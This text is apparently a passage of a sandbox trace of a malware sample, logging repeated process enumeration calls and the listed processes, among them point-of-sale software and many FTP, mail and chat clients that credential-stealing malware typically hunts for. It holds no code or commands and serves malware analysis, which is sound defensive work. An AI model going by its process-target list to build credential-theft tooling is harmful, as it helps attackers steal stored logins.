cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0259.498] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0259.499] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0259.501] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0259.502] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0259.504] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0259.505] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0259.507] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0259.509] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0259.510] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0259.512] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.514] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.515] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0259.517] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0259.567] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0259.569] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0259.571] CloseHandle (hObject=0x1038) returned 1 [0259.571] Sleep (dwMilliseconds=0x64) [0259.613] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0259.625] Process32First (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.627] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.629] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.631] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.633] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.635] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.636] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.638] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.639] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.641] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.642] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.691] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.693] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.695] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.697] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.698] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.699] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.701] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.702] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.704] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.705] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0259.707] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0259.708] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.710] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.711] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0259.713] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0259.715] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0259.717] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.718] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0259.720] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0259.721] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.723] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0259.725] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0259.727] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0259.729] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0259.731] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0259.733] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0259.735] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0259.737] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0259.786] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0259.787] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0259.789] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0259.790] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0259.791] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0259.793] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0259.794] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0259.796] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0259.797] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0259.799] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0259.801] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0259.802] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0259.804] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0259.805] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0259.807] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0259.808] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0259.810] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0259.811] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0259.813] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0259.814] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0259.816] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0259.818] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0259.820] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0259.822] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0259.824] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0259.825] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0259.827] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0259.829] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0259.830] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0259.881] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 